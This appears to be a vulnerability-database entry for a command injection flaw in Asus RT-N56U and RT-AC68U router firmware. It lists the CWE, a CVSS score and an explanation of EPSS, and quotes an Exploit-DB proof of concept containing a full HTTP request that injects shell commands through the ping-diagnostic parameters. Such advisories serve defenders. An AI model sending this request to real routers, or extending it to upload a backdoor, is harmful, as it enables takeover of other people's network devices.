Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-78 |
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
8.5 |
|
AV:N/AC:M/Au:S/C:C/I:C/A:C |
nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 25998
Publication date : 2013-06-06 22h00 +00:00
Author : drone
EDB Verified : No
# Exploit Title: Asus RT56U Remote Command Injection
# Date: 05/05/2013
# Exploit Author: drone (@dronesec)
# Vendor Homepage: asus.com
# Version: <= 3.0.0.4.360 (latest)
Device Details:
==============
Router information: http://www.asus.com/Networking/RTN56U/
Firmware: http://www.asus.com/Networking/RTN56U/#support_Download_30
Vulnerability Details:
======================
Insufficient (or rather, a complete lack thereof) input sanitization leads to the injection of shell commands. It's possible to upload and execute a backdoor.
Example request:
GET /apply.cgi?current_page=Main_Analysis_Content.asp&next_page=Main_Analysis_Content.asp&next_host=192.168.1.1&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&preferred_lang=EN&SystemCmd=ping+-c+5+%3B+ls+-l&firmver=3.0.0.4&cmdMethod=ping&destIP=%3B+ls+-l+.%2Fuser%2Fcgi-bin%2F&pingCNT=5 HTTP/1.1
Host: 192.168.1.1
Proxy-Connection: keep-alive
Authorization: Basic ZGVmYXVsdA==
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36
Referer: http://192.168.1.1/Main_Analysis_Content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Screenshot: http://3.bp.blogspot.com/-ZFhW0bRKM3o/UZwoiPOXXyI/AAAAAAAAAe4/WyTtjhpQEho/s1600/asus_exec_360.jpg
Products Mentioned
Configuraton 0
T-mobile>>Tm-ac1900 >> Version 3.0.0.4.376_3169
Configuraton 0
Asus>>Rt-ac68u_firmware >> Version 3.0.0.4.374.4755
Asus>>Rt-ac68u_firmware >> Version 3.0.0.4.374_4561
Asus>>Rt-ac68u_firmware >> Version 3.0.0.4.374_4887
Asus>>Rt-ac68u >> Version -
References